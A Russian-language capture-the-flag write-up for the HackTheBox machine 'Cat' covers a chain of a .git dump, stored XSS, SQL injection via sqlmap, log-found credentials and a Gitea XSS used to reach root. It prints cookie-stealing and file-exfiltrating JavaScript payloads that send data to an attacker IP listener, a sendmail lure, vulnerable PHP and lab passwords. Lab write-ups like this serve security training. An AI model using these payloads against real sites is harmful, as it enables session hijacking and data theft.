Cat Hackthebox Writeup

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/Cat

Recon Ссылка на заголовок

Из открытых портов у нас как обычно - 22,80

Описание изображения

При обращении на 80 порт нас редиректит на cat.htb. Сразу добавим запись в /etc/hosts

Описание изображения

echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts

На самом сайте видим форму регистрации

Описание изображения

Описание изображения

После входа в систему мы получаем доступ к другим функциям

Описание изображения

User flag Ссылка на заголовок

Во время перечисления мы обнаруживаем каталог .git.

С помощью gittools, можно извлечь файлы из репозиториев .git . Этот инструмент проверяет, включена ли функция отображения каталогов, и рекурсивно загружает содержимое .git для дальнейшего анализа.

Описание изображения

Описание изображения

Описание изображения

После извлечения мы получили доступ к исходному коду приложения. Попробуем проанализировать его на наличие уязвимостей (Можно закинуть в SAST)

Описание изображения

Так например при проверке join.php можно заметить, что пользовательские данные напрямую сохраняются в базе данных во время регистрации и никак не фильтруются. Что приведет к Stored XSS

Описание изображения

А в accept_cat.php, видна SQL-инъекция, которая возникает из-за прямого ввода данных пользователем в SQL-запросы.

Описание изображения

Уязвимая часть кода:

// VULNERABLE CODE:
$cat_name = $_POST['catName'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

Но accept_cat.php доступна только админу axel. Получается, нужно через XSS попасть в админку (например украсть куки), а потому через SQLi достать креды из БД.

Приступим

Раз у нас ничего не фильтруется, можем использовать базовую полезную нагрузку с академии Portswigger

<script>document.location='http://10.10.xx.xx:4444/?c='+document.cookie;</script>

И, так как это blind stored XSS, понадобится прослушиватель

python3 -m http.server 4444

После чего регистрируемся с полезной нагрузкой в качестве имени пользователя

Описание изображения

Потом логинимся и создаем случайного котенка, чтобы админ нас увидел

Описание изображения

Через пару секунд получаем отстук с куками.

Теперь нам видна панель Администратора

Описание изображения

Через ранее обнаруженную SQLi достанем креды:

sqlmap -r req.txt -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10

Где req.txt это ваш запрос на эндпоинт с куками админа

Получаем хеши паролей

Описание изображения

Описание изображения

rosa:soyunaprincesarosa

Логинимся по ssh

Описание изображения

Просмотрев журнал Apache, мы можем найти учётные данные пользователя Axel. (Это отлично подсветилось linpeas.sh)

Описание изображения

axel:aNdZwgC4****************

Заходим по ssh и получаем флаг

Обратите внимание на надпись “You have mail” при входе

Описание изображения

Root flag Ссылка на заголовок

Идем смотреть, что же за письмо нам пришло - /var/mail/axel

Тут видимо намек на повышение привилегий, но чет читать очень много

Описание изображения

Поэтому сделаем как обычно. Найдем открытые порты и пробросим веб

Описание изображения

ssh -L 3000:127.0.0.1:3000 axel@cat.htb

На 3000 порту у нас поднята Gitea

Описание изображения

Причем стоит версия которая подвержена XSS

Описание изображения

Видимо автор тачки любит воровать печеньки

Ну и теперь понятно на что нам в письме намекали

<a href="javascript:fetch('http://10.10.xx.xx:4444/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test</a>
echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/l4tmur" | sendmail jobert@cat.htb

Получаем index.php

<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response=>response.text()).then(data=>fetch("http://10.10.xx.xx:4444/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS test</a>

Исходный код index.php с кредами рута:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;

Описание изображения